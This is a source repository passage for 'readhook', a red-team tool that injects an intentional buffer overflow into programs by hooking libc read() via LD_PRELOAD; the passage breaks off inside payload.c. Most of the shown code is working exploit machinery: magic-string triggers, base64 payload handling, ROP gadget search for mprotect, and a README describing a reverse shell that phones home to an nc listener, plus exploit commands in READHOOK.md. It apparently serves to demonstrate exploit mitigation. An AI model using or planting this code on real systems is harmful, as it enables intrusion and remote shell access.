├── .gitignore ├── Dockerfile ├── LICENSE ├── READHOOK.md ├── README.md ├── assets.sh ├── build.sh ├── roadmap.md ├── src ├── addresses.c ├── addresses.h ├── base64.c ├── base64.h ├── basehook.c ├── fullhook.c ├── noophook.c ├── nullhook.c ├── payload.c ├── payload.h ├── shellcode.c ├── shellcode.h ├── strlcpy.c ├── strlcpy.h ├── strnstr.c └── strnstr.h ├── test.sh └── test.txt /.gitignore: -------------------------------------------------------------------------------- 1 | # OS specific 2 | .DS_Store 3 | app/ 4 | dll/ 5 | 6 | # vi/vim et. al. 7 | *.swl 8 | *.swm 9 | *.swn 10 | *.swo 11 | *.swp 12 | 13 | # Prerequisites 14 | *.d 15 | 16 | # Object files 17 | *.o 18 | *.ko 19 | *.obj 20 | *.elf 21 | 22 | # Linker output 23 | *.ilk 24 | *.map 25 | *.exp 26 | 27 | # Precompiled Headers 28 | *.gch 29 | *.pch 30 | 31 | # Libraries 32 | *.lib 33 | *.a 34 | *.la 35 | *.lo 36 | 37 | # Shared objects (inc. Windows DLLs) 38 | *.dll 39 | *.so 40 | *.so.* 41 | *.dylib 42 | 43 | # Executables 44 | *.exe 45 | *.out 46 | *.app 47 | *.i*86 48 | *.x86_64 49 | *.hex 50 | readhook 51 | readhook.so 52 | 53 | # Debug files 54 | *.dSYM/ 55 | *.su 56 | *.idb 57 | *.pdb 58 | 59 | # Kernel Module Compile Results 60 | *.mod* 61 | *.cmd 62 | .tmp_versions/ 63 | modules.order 64 | Module.symvers 65 | Mkfile.old 66 | dkms.conf 67 | -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM centos:7 2 | RUN yum update -y 3 | RUN yum install -y bash curl gcc libc6-dev nc 4 | 5 | WORKDIR /readhook 6 | COPY src src 7 | 8 | RUN mkdir ./obj 9 | RUN gcc -std=gnu99 -fstack-protector-all -fPIC -c -o obj/addresses.o src/addresses.c 10 | RUN gcc -std=gnu99 -fstack-protector-all -fPIC -c -o obj/base64.o src/base64.c 11 | RUN gcc -std=gnu99 -fstack-protector-all -fPIC -c -o obj/payload.o src/payload.c 12 | RUN gcc -std=gnu99 -fstack-protector-all -fPIC -c -o obj/shellcode.o src/shellcode.c 13 | RUN gcc -std=gnu99 -fstack-protector-all -fPIC -c -o obj/strlcpy.o src/strlcpy.c 14 | RUN gcc -std=gnu99 -fstack-protector-all -fPIC -c -o obj/strnstr.o src/strnstr.c 15 | 16 | RUN mkdir ./lib 17 | RUN ar -cvq lib/utilhook.a obj/*.o 18 | 19 | RUN mkdir ./dll 20 | RUN gcc -std=gnu99 -fstack-protector-all -fPIC -Fpie -pie src/basehook.c -Wl,-z,relro,-z,now -shared -lc -ldl lib/utilhook.a -o dll/basehook.so 21 | RUN gcc -std=gnu99 -fstack-protector-all -fPIC -Fpie -pie src/fullhook.c -Wl,-z,relro,-z,now -shared -lc -ldl lib/utilhook.a -o dll/fullhook.so 22 | RUN gcc -std=gnu99 -fstack-protector-all -fPIC -Fpie -pie src/noophook.c -Wl,-z,relro,-z,now -shared -lc -ldl lib/utilhook.a -o dll/noophook.so 23 | RUN gcc -std=gnu99 -fstack-protector-all -fPIC -Fpie -pie src/nullhook.c -Wl,-z,relro,-z,now -shared -lc -ldl lib/utilhook.a -o dll/nullhook.so 24 | 25 | RUN mkdir ./app 26 | RUN gcc -std=gnu99 -fPIC -Fpie -pie -DFULLHOOK_MAIN=1 src/fullhook.c lib/utilhook.a -Wl,-z,relro,-z,now -lc -ldl -o app/fullhook 27 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2017 Polyverse Corporation 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /READHOOK.md: -------------------------------------------------------------------------------- 1 | # Readhook3d Demonstration 2 | ## Allocate a Centos Environment (with curl and wget) 3 | ``` 4 | docker run --rm -it --privileged --name centos centos 5 | yum update -y && yum install -y curl wget 6 | ``` 7 | ## Download Readhook3d Components 8 | ``` 9 | wget -q -O /tmp/basehook.so https://github.com/plexsolutions/readhook/releases/download/jenkins3d/basehook.so 10 | wget -q -O /tmp/fullhook.so https://github.com/plexsolutions/readhook/releases/download/jenkins3d/fullhook.so 11 | ``` 12 | ## Generate Shell-code and Perform Exploit 13 | ``` 14 | export shellCode=$(echo -n xyzzxMAKELOAD | LD_PRELOAD=/tmp/fullhook.so /bin/cat) 15 | echo -n $shellCode | LD_PRELOAD=/tmp/basehook.so /bin/cat 16 | # (Confirm an audible bell) 17 | ``` 18 | ## Install Polyverse and Repeat Exploit 19 | ``` 20 | curl https://sh.polyverse.io | sh -s install vZ2v3Bo4Kbnwj9pECrLsoGDDo 21 | yum reinstall -y \* 22 | echo -n $shellCode | LD_PRELOAD=/tmp/basehook.so /bin/cat 23 | # (Confirm that there is no audible bell) 24 | ``` 25 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # readhook 2 | Red-team tool to hook libc read syscall with a buffer overflow vulnerability. 3 | 4 | ## Building 5 | Readhook consists of a set of shared libraries that can be injected into an application to create an intentional buffer overflow vulnerability. The hook routines basehook.so and fullhook.so can be injected individually or as a chain using LD_PRELOAD. Both hooks insert themselves in front of the libc->read() system call and watch for magic strings to pass. Basehook.so contains the overflow endpoint alone, while fullhook.so adds helpful endpoints that assist in generating valid shellcode that can then be turned around and used by basehook.so for the actual overflow (fullhook.so also contains an overflow endpoint for convenience). (Additionally, there are two helper hooks for developers; nullhook.so which does nothing, and noophook.so which injects itself before the libc->read() function and simply passes the request through.) 6 | ``` 7 | ./build.sh 8 | ``` 9 | ## Testing 10 | First, start a listener (in a different shell) for test.sh to phone-home to. e.g. 11 | ``` 12 | nc -l 5555 13 | ``` 14 | Then, run test.sh. e.g. 15 | ``` 16 | ./test.sh localhost:5555 17 | ``` 18 | Test.sh will run fullhook as an application. The default host is docker.for.mac.localhost. The default port is 5555. The purpose of test.sh and fullhook (the application) are to generate a payload against fullhook (the application) and manually call the internal, vulnerable buffer overflow with the generated payload. If a listener is started first, and reachable by fullhook (the application) running in the container, it should phone-home with a reverse shell. If the reverse shell fails to connect to the listener, or if the payload is not correct (a program error that test.sh is intended to detect for developers), the program behavior is undefined and may include: segment violation, illegal addresss, illegal instruction, infinite looping, and so on. In that sense, there is only one "defined" behavior for fullhook (the application), and that behavior is to phone-home to the listener. Failure to phone-home to the listener will result in "undefined" behavior by the program. 19 | 20 | ## Tutorial 21 | See https://blog.polyverse.io/an-intentional-buffer-overflow-hmm-5c357238b687 22 | 23 | ## Additional Resources 24 | This repository contains a simple node-based echo server with instructions on running under readhook. 25 | ``` 26 | git clone https://github.com/polyverse/node-echo-server 27 | ``` 28 | This repository contains the same node-based echo server built with readhook already pre-installed. 29 | ``` 30 | git clone https://github.com/polyverse/readhook-node-echo-server 31 | ``` 32 | -------------------------------------------------------------------------------- /assets.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | declare -r repository=plexsolutions/readhook 3 | declare -r -a assets=(basehook.so fullhook.so noophook.so nullhook.so) 4 | declare tag=$1 5 | 6 | # If no tag is given, use the jenkins release assets 7 | if [[ "$tag" == "" ]]; then tag=jenkins; fi 8 | 9 | process_asset() 10 | { 11 | # Delete the current asset (if it exists) 12 | asset_id_from_release_tag_and_name=$(pv github asset-id-from-release-tag-and-name $repository $tag $1) 13 | printf "asset-id-from-release-tag-and-name:\n$asset_id_from_release_tag_and_name\n" 14 | 15 | delete_release_asset=$(pv github delete-release-asset $repository $asset_id_from_release_tag_and_name) 16 | printf "delete-release-asset:\n$delete_release_asset\n" 17 | 18 | upload_release_file_by_tag=$(pv github upload-release-file-by-tag $repository $tag dll/$1) 19 | printf "upload-release-file-by-tag:\n$upload_release_file_by_tag\n" 20 | } 21 | 22 | # Process each asset in the list 23 | for asset in ${assets[*]}; do process_asset $asset; done 24 | -------------------------------------------------------------------------------- /build.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Delete the old artifacts 3 | rm -r app dll 4 | 5 | # Build readhook 6 | docker build --no-cache -t readhook . 7 | 8 | # Run readhook and just sleep while we copy the build artifacts 9 | docker run -d --rm --name readhook readhook sleep 60 10 | 11 | # Extract the buld artifacts 12 | docker cp readhook:/readhook/dll/ $PWD/dll/ 13 | docker cp readhook:/readhook/app/ $PWD/app/ 14 | 15 | # We're done so kill it since it's just sleeping 16 | docker kill readhook 17 | -------------------------------------------------------------------------------- /roadmap.md: -------------------------------------------------------------------------------- 1 | # Roadmap 2 | This is a rough roadmap for the project. 3 | 4 | ## v1: Current version 5 | This is the first 'get up and running' version. As a result, many aspects are either hard coded or bundled together. 6 | 7 | ## v1.1: Re-factor 8 | This iteration splits out the payload analysis and generation code (fullhook.so) from the synthetic vulnerability (basehook.so). 9 | 10 | ## v2: Auto-generation of payloads 11 | In this release, we will use the EnVizen project (https://github.com/polyverse/binary-entropy-visualizer) to automatically create payloads. 12 | 13 | ## v3: Configurable vulnerabilities 14 | Make it easier to exploit different types of vulnerabilities (e.g. use after free, etc.) versus a standard buffer overflow. 15 | -------------------------------------------------------------------------------- /src/addresses.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include 3 | #include 4 | 5 | #include "addresses.h" 6 | 7 | static Pointer pageBase(Pointer p) { 8 | return (Pointer) (((unsigned long) p) & (-1 ^ getpagesize() - 1)); 9 | } // pageBase() 10 | 11 | static Pointer elfBase(Pointer p) { 12 | const char s_elf_signature[] = {0x7F, 'E', 'L', 'F', 0}; 13 | 14 | p = pageBase(p); 15 | while (strncmp(p, s_elf_signature, strlen(s_elf_signature))) 16 | p -= getpagesize(); 17 | 18 | return p; 19 | } // elfBase() 20 | 21 | void initBaseAddresses(BaseAddressesPtr baseAddressesPtr) { 22 | int dummy; 23 | 24 | *baseAddressesPtr = (BaseAddresses) { 25 | .buf_base = NULL, 26 | .libc_base = elfBase(strcpy), 27 | .pie_base = elfBase(initBaseAddresses), 28 | .stack_base = pageBase(&dummy) 29 | }; 30 | } // initBaseaddresses() 31 | 32 | Pointer baseAddress(char base, BaseAddressesPtr baseAddressesPtr) { 33 | switch (base) { 34 | case 'B' : return baseAddressesPtr->buf_base; 35 | case 'L' : return baseAddressesPtr->libc_base; 36 | case 'P' : return baseAddressesPtr->pie_base; 37 | case 'S' : return baseAddressesPtr->stack_base; // Actually just base of current stack page 38 | default : return 0; 39 | } // switch 40 | } // baseAddress() 41 | 42 | Offset pointerToOffset(Pointer p, char base, BaseAddressesPtr baseAddressesPtr) { 43 | return (Offset) { (p - baseAddress(base, baseAddressesPtr)), base, '~' }; 44 | } // pointerToOffset() 45 | 46 | Offset indirectToOffset(Pointer p, char base, BaseAddressesPtr baseAddressesPtr) { 47 | return (Offset) { (p - baseAddress(base, baseAddressesPtr)), base, '*' }; 48 | } // indirectToOffset() 49 | 50 | static Pointer offsetToPointer(Offset o, BaseAddressesPtr baseAddressesPtr) { 51 | return (Pointer) (o.r + baseAddress(o.b, baseAddressesPtr)); 52 | } // offsetToPointer() 53 | 54 | static Pointer offsetToIndirect(Offset o, BaseAddressesPtr baseAddressesPtr) { 55 | return *((Pointer *) offsetToPointer(o, baseAddressesPtr)); 56 | } // offsetToIndirect() 57 | 58 | AddressUnion fixupAddressUnion(AddressUnion au, BaseAddressesPtr baseAddressesPtr) { 59 | if (au.o.f == '~') 60 | return (AddressUnion) { .p = offsetToPointer(au.o, baseAddressesPtr) }; 61 | 62 | if (au.o.f == '*') 63 | return (AddressUnion) { .p = offsetToIndirect(au.o, baseAddressesPtr) }; 64 | 65 | return au; 66 | } // fixupAddressUnion() 67 | 68 | void dofixups(Pointer p, size_t n, BaseAddressesPtr baseAddressesPtr) { 69 | for (AddressUnionPtr aup = (AddressUnionPtr)p; aup < (AddressUnionPtr) (p + n - sizeof(AddressUnionPtr) + 1); aup++) 70 | *aup = fixupAddressUnion(*aup, baseAddressesPtr); 71 | } // dofixups() 72 | -------------------------------------------------------------------------------- /src/addresses.h: -------------------------------------------------------------------------------- 1 | #ifndef _ADDRESSES_H_ 2 | #define _ADDRESSES_H_ 3 | #include 4 | 5 | typedef void *Pointer; 6 | 7 | typedef struct Offset { 8 | long r : 48; 9 | char b : 8; 10 | char f : 8; 11 | } Offset, *OffsetPtr; 12 | 13 | typedef union AddressUnion { 14 | Pointer p; 15 | Offset o; 16 | char c[sizeof(Pointer)]; 17 | } AddressUnion, *AddressUnionPtr; 18 | 19 | typedef struct BaseAddresses { 20 | Pointer buf_base; 21 | Pointer libc_base; 22 | Pointer pie_base; 23 | Pointer stack_base; 24 | } BaseAddresses, *BaseAddressesPtr; 25 | 26 | extern void initBaseAddresses(BaseAddressesPtr baseAddresses); 27 | extern Pointer baseAddress(char base, BaseAddressesPtr baseAddressesPtr); 28 | extern Offset pointerToOffset(Pointer p, char base, BaseAddressesPtr baseAddressesPtr); 29 | extern Offset indirectToOffset(Pointer p, char base, BaseAddressesPtr baseAddressesPtr); 30 | extern AddressUnion fixupAddressUnion(AddressUnion au, BaseAddressesPtr baseAddressesPtr); 31 | extern void dofixups(Pointer p, size_t n, BaseAddressesPtr baseAddressesPtr); 32 | #endif 33 | -------------------------------------------------------------------------------- /src/base64.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include "base64.h" 3 | 4 | static const unsigned char b64EncodeTable[64] = { 5 | 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 6 | 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 7 | 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 8 | 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' 9 | }; 10 | 11 | size_t b64Encode(const unsigned char *s256, const size_t n256, unsigned char *s64, size_t m64) { 12 | 13 | // Calculate encoded size but limit to size of our output buffer 14 | size_t n64 = 4 * ((n256 + 2) / 3); 15 | if (n64 > m64) 16 | n64 = m64; 17 | 18 | // Loop over input data generating four 6-in-8 bytes for each three 8-in-8 bytes 19 | for (size_t i256 = 0, i64 = 0, triple = 0; i256 < n256 && i64 < n64;) { 20 | for (size_t i = 0; i < 3; i++) 21 | triple = (triple << 8) + ((i256 < n256 ) ? s256[i256++] : 0); 22 | 23 | for (size_t i = 0; i < 4; i++) 24 | s64[i64++] = b64EncodeTable[(triple >> ((3 - i) * 6)) & (1 << 6) - 1]; 25 | } // for 26 | 27 | // Back-patch trailing overrun created by the "chunky" encoder (above). 28 | for (size_t i = 0; i < (n256 * 2) % 3; i++) 29 | s64[n64 - 1 - i] = '='; 30 | 31 | return n64; 32 | } // b64Encode() 33 | 34 | static const unsigned char b64DecodeTable[256] = { 35 | 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 36 | 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 37 | 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 62, 64, 64, 64, 63, 38 | 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 64, 64, 64, 64, 64, 64, 39 | 64, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 40 | 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 64, 64, 64, 64, 64, 41 | 64, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 42 | 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 64, 64, 64, 64, 64, 43 | 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 44 | 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 45 | 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 46 | 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 47 | 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 48 | 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 49 | 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 50 | 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64 51 | }; 52 | 53 | size_t b64Length(const unsigned char *s64) { 54 | for (size_t i = 0; ; i++) 55 | if (b64DecodeTable[s64[i]] > 63) 56 | return i; 57 | } // b64Length() 58 | 59 | size_t b64Decode(const unsigned char *s64, const size_t n64, unsigned char *s256, const size_t m256) { 60 | 61 | // Calculate decoded size but limit to size of our output buffer 62 | size_t n256 = (((n64 + 3) / 4) * 3) - ((4 - n64) & 3); 63 | 64 | // Don't write more than m256 bytes 65 | if (n256 > m256) 66 | n256 = m256; 67 | 68 | // Loop over input data generating three 8-in-8 bytes for each four 6-in-8 bytes 69 | for (size_t i64 = 0, i256 = 0; i64 < n64 && i256 < n256; i64++) { 70 | if (i64 < n64 - 1) { s256[i256++] = (b64DecodeTable[s64[i64]] << 2 | b64DecodeTable[s64[i64 + 1]] >> 4); i64++; } 71 | if (i64 < n64 - 1) { s256[i256++] = (b64DecodeTable[s64[i64]] << 4 | b64DecodeTable[s64[i64 + 1]] >> 2); i64++; } 72 | if (i64 < n64 - 1) { s256[i256++] = (b64DecodeTable[s64[i64]] << 6 | b64DecodeTable[s64[i64 + 1]] >> 0); i64++; } 73 | } // for 74 | 75 | // Append a NUL if there is room to do so (but don't count it as a decoded character) 76 | if (n256 < m256) 77 | s256[n256] = '\0'; 78 | 79 | return n256; 80 | } // b64Decode() 81 | -------------------------------------------------------------------------------- /src/base64.h: -------------------------------------------------------------------------------- 1 | #ifndef _BASE64_H_ 2 | #define _BASE64_H_ 3 | #include 4 | 5 | extern size_t b64Encode(const unsigned char *s256, const size_t n256, unsigned char *s64, size_t m64); 6 | extern size_t b64Length(const unsigned char *s64); 7 | extern size_t b64Decode(const unsigned char *s64, const size_t n64, unsigned char *s256, const size_t m256); 8 | #endif 9 | -------------------------------------------------------------------------------- /src/basehook.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include 3 | #include // For dlsym() 4 | #include // For i/o 5 | #include // For str...() and mem...() 6 | 7 | #include "addresses.h" 8 | #include "base64.h" 9 | #include "strnstr.h" 10 | 11 | static const char s_basemagic[] = "xyzzy"; 12 | static const char s_overflow[] = "OVERFLOW"; 13 | 14 | // This is the overflow that readhook is all about. 15 | static void overflow(Pointer p, size_t n, BaseAddressesPtr baseAddressesPtr) { 16 | char buffer[8] = {'E', '-', 'E', 'G', 'G', ' ', ' ', 0 }; 17 | 18 | baseAddressesPtr->buf_base = &buffer; 19 | dofixups(p, n, baseAddressesPtr); // If you don't need this call, you're a fscking awesome hacker. Respect! 20 | memcpy(buffer, p, n); 21 | } // overflow() 22 | 23 | // Interloper read function that watches for the magic string. 24 | typedef 25 | ssize_t Read(int fd, void *buf, size_t count); 26 | ssize_t read(int fd, void *buf, size_t count) { 27 | Read *libc_read = (Read *) dlsym(RTLD_NEXT, "read"); 28 | ssize_t result = libc_read(fd, buf, count); 29 | 30 | char *p = (result < (ssize_t) strlen(s_basemagic)) ? NULL : strnstr(buf, s_basemagic, result); 31 | 32 | if (p) { 33 | p += strlen(s_basemagic); 34 | 35 | BaseAddresses baseAddresses; 36 | initBaseAddresses(&baseAddresses); 37 | 38 | if (!strncmp(s_overflow, p, strlen(s_overflow))) { 39 | unsigned char *s64 = (unsigned char *) (p + strlen(s_overflow)); 40 | size_t n256 = b64Decode(s64, b64Length(s64), (unsigned char *) p, 65535); // ToDo: Unknown upper bounds 41 | overflow(p, n256, &baseAddresses); 42 | } // if 43 | } // if 44 | 45 | return result; 46 | } // read() 47 | -------------------------------------------------------------------------------- /src/fullhook.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include 3 | #include // For dlsym() 4 | #include // For i/o 5 | #include // For str...() and mem...() 6 | 7 | #include "addresses.h" 8 | #include "base64.h" 9 | #include "payload.h" 10 | #include "strnstr.h" 11 | 12 | static const char s_basemagic[] = "xyzzy"; 13 | static const char s_fullmagic[] = "xyzzx"; 14 | static const char s_makeload[] = "MAKELOAD"; 15 | static const char s_dumpload[] = "DUMPLOAD"; 16 | static const char s_overload[] = "OVERLOAD"; 17 | static const char s_overflow[] = "OVERFLOW"; 18 | 19 | // In-place substitution of request with result. So wrong... 20 | static ssize_t falseEcho(PayloadPtr plp, char *p, ssize_t np, ssize_t nc) { 21 | // Generate the payload that we will "echo" back 22 | unsigned char sPayload64[4096]; 23 | size_t nPayload64 = b64Encode((const unsigned char *) plp, sizeof(*plp), sPayload64, sizeof(sPayload64)); 24 | 25 | // Make room for the payload (where the request used to be). 26 | char *src = p + nc; 27 | char *dst = p + nPayload64 - strlen(s_fullmagic) + strlen(s_basemagic) - strlen(s_makeload) + strlen(s_overflow); 28 | ssize_t delta = dst - src; 29 | memmove(dst, src, np - nc); 30 | 31 | // Replace s_fullmagic with s_basemagic 32 | memcpy(p - strlen(s_makeload) - strlen(s_fullmagic), s_basemagic, strlen(s_basemagic)); 33 | p += strlen(s_basemagic) - strlen(s_fullmagic); 34 | 35 | // Replace s_makeload with s_overflow 36 | memcpy(p - strlen(s_makeload), s_overflow, strlen(s_overflow)); 37 | p += strlen(s_overflow) - strlen(s_makeload); 38 | 39 | // Place the payload in the newly created space 40 | memcpy(p, sPayload64, nPayload64); 41 | 42 | return delta; 43 | } // falseEcho() 44 | 45 | // IDENTICAL to overflow(), but with two dumpload() calls for debugging. 46 | static void overload(Pointer p, size_t n, BaseAddressesPtr baseAddressesPtr) { 47 | char buffer[8] = {'E', 'A', 'S', 'T', 'E', 'R', ' ', 0 }; 48 | 49 | dumpload(p, baseAddressesPtr); 50 | baseAddressesPtr->buf_base = &buffer; 51 | dofixups(p, n, baseAddressesPtr); 52 | dumpload(p, baseAddressesPtr); 53 | memcpy(buffer, p, n); 54 | } // overload() 55 | 56 | // This is the overflow that readhook is all about. 57 | static void overflow(Pointer p, size_t n, BaseAddressesPtr baseAddressesPtr) { 58 | char buffer[8] = {' ', ' ', 'E', 'G', 'G', ' ', ' ', 0 }; 59 | 60 | baseAddressesPtr->buf_base = &buffer; 61 | dofixups(p, n, baseAddressesPtr); 62 | memcpy(buffer, p, n); 63 | } // overflow() 64 | 65 | // Interloper read function that watches for the magic string. 66 | typedef 67 | ssize_t Read(int fd, void *buf, size_t count); 68 | ssize_t read(int fd, void *buf, size_t count) { 69 | Read *libc_read = (Read *) dlsym(RTLD_NEXT, "read"); 70 | ssize_t result = libc_read(fd, buf, count); 71 | 72 | char *p = (result < (ssize_t) strlen(s_fullmagic)) ? NULL : strnstr(buf, s_fullmagic, result); 73 | 74 | if (p) { 75 | p += strlen(s_fullmagic); 76 | 77 | static BaseAddresses baseAddresses; 78 | static Payload payload; 79 | 80 | static int initialized = 0; 81 | if (!initialized) { 82 | initBaseAddresses(&baseAddresses); 83 | initload(&payload); 84 | initialized++; 85 | } // if 86 | 87 | if (!strncmp(s_makeload, p, strlen(s_makeload))) { 88 | p += strlen(s_makeload); 89 | 90 | ssize_t nc = makeload(&payload, &baseAddresses, p, result - (p - (char *)buf)); 91 | 92 | result += falseEcho(&payload, p, result - (p - (char *)buf), nc); 93 | 94 | // Unbounded out-of-bounds write that is intentional and "ok" for us now (considering everything else) 95 | ((char *) buf)[result] = 0; 96 | } // if 97 | else if (!strncmp(s_dumpload, p, strlen(s_dumpload))) 98 | dumpload(&payload, &baseAddresses); 99 | else if (!strncmp(s_overload, p, strlen(s_overload))) 100 | overload(&payload, sizeof(payload), &baseAddresses); 101 | else if (!strncmp(s_overflow, p, strlen(s_overflow))) { 102 | unsigned char *s64 = (unsigned char *) (p + strlen(s_overflow)); 103 | size_t n256 = b64Decode(s64, b64Length(s64), (unsigned char *) p, 65535); 104 | overflow(p, n256, &baseAddresses); 105 | } // else if 106 | } // if 107 | 108 | return result; 109 | } // read() 110 | 111 | #ifdef FULLHOOK_MAIN 112 | int main(int argc, char **argv) 113 | { 114 | fprintf(stderr, "Running (testing) as an executable\n"); 115 | 116 | BaseAddresses baseAddresses; 117 | initBaseAddresses(&baseAddresses); 118 | 119 | Payload payload; 120 | 121 | initload(&payload); 122 | makeload(&payload, &baseAddresses, (argc > 1) ? argv[1] : NULL, (argc > 1) ? strlen(argv[1]) : 0); 123 | 124 | char sPayload64[1024]; 125 | size_t nPayload64 = b64Encode((const unsigned char *) &payload, sizeof(payload), sPayload64, sizeof(sPayload64)); 126 | fprintf(stderr, "Base64 encoded payload:\n%s%s%s\n", s_basemagic, s_overflow, sPayload64); 127 | 128 | overload(&payload, sizeof(payload), &baseAddresses); 129 | } // main() 130 | #endif 131 | -------------------------------------------------------------------------------- /src/noophook.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include // For dlsym() 3 | #include // For i/o 4 | 5 | // NOOP read function for testing if LD_PRELOAD can be injected quietly. 6 | typedef 7 | ssize_t Read(int fd, void *buf, size_t count); 8 | ssize_t read(int fd, void *buf, size_t count) { 9 | Read *libc_read = (Read *) dlsym(RTLD_NEXT, "read"); 10 | ssize_t result = libc_read(fd, buf, count); 11 | 12 | return result; 13 | } // read() 14 | -------------------------------------------------------------------------------- /src/nullhook.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include 3 | 4 | ssize_t dummy(int fd, void *buf, size_t count) { 5 | return 0; 6 | } // dummy() 7 | -------------------------------------------------------------------------------- /src/payload.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include 3 | #include // for dlsym() 4 | #include 5 | #include 6 | #include 7 | 8 | #include "payload.h" 9 | #include "strnstr.h" 10 | 11 | void initload(PayloadPtr plp) { 12 | memset(plp, 0, sizeof(*plp)); 13 | initShellcodeUnion(&plp->pl_scu); 14 | } // initload() 15 | 16 | ssize_t makeload(PayloadPtr plp, BaseAddressesPtr baseAddressesPtr, char *p, ssize_t np) { 17 | size_t libc_size = getpagesize() * 100; // Punt 18 | 19 | char s_libc_popRDI[] = {0x5f, 0xc3, 0}; 20 | char s_libc_popRSI[] = {0x5e, 0xc3, 0}; 21 | char s_libc_popRDX[] = {0x5a, 0xc3, 0}; 22 | 23 | Pointer libc_popRDI = strnstr(baseAddressesPtr->libc_base, s_libc_popRDI, libc_size); 24 | Pointer libc_popRSI = strnstr(baseAddressesPtr->libc_base, s_libc_popRSI, libc_size); 25 | Pointer libc_popRDX = strnstr(baseAddressesPtr->libc_base, s_libc_popRDX, libc_size); 26 | 27 | Pointer libc_mprotect = dlsym(RTLD_NEXT, "mprotect"); 28 | 29 | // Offsets are relative to the payload 30 | baseAddressesPtr->buf_base = plp; 31 | 32 | plp->pl_dst.o = indirectToOffset(&plp->pl_dst, 'B', baseAddressesPtr); 33 | plp->pl_canary.o = indirectToOffset(&plp->pl_canary, 'B', baseAddressesPtr); 34 | plp->pl_rbp.o = indirectToOffset(&plp->pl_rbp, 'B', baseAddressesPtr); 35 | plp->pl_popRDI.o = libc_popRDI?pointerToOffset(libc_popRDI, 'L', baseAddressesPtr):pointerToOffset(&&l_popRDI, 'P', baseAddressesPtr); 36 | plp->pl_stackPage.o = pointerToOffset(baseAddressesPtr->stack_base, 'S', baseAddressesPtr); 37 | plp->pl_popRSI.o = libc_popRDI?pointerToOffset(libc_popRSI, 'L', baseAddressesPtr):pointerToOffset(&&l_popRSI, 'P', baseAddressesPtr); 38 | plp->pl_stackSize = getpagesize(); 39 | plp->pl_popRDX.o = libc_popRDX?pointerToOffset(libc_popRDX, 'L', baseAddressesPtr):pointerToOffset(&&l_popRDX, 'P', baseAddressesPtr); 40 | plp->pl_permission = 0x7; 41 | plp->pl_mprotect.o = pointerToOffset(libc_mprotect, 'L', baseAddressesPtr); 42 | 43 | plp->pl_shellCode.o = pointerToOffset(&plp->pl_scu, 'B', baseAddressesPtr); 44 | 45 | // This construct keeps the compiler from removing what it thinks is dead code in gadgets that follow: 46 | int volatile v = 0; 47 | 48 | if (v) { 49 | l_popRDI: // Fallback gadget for "POP RDI" 50 | __asm__ ("pop %rdi"); 51 | __asm__ ("ret"); 52 | } // if 53 | 54 | if (v) { 55 | l_popRSI: // Fallback gadget for "POP RSI" 56 | __asm__ ("pop %rsi"); 57 | __asm__ ("ret"); 58 | } // if 59 | 60 | if (v) { 61 | l_popRDX: // 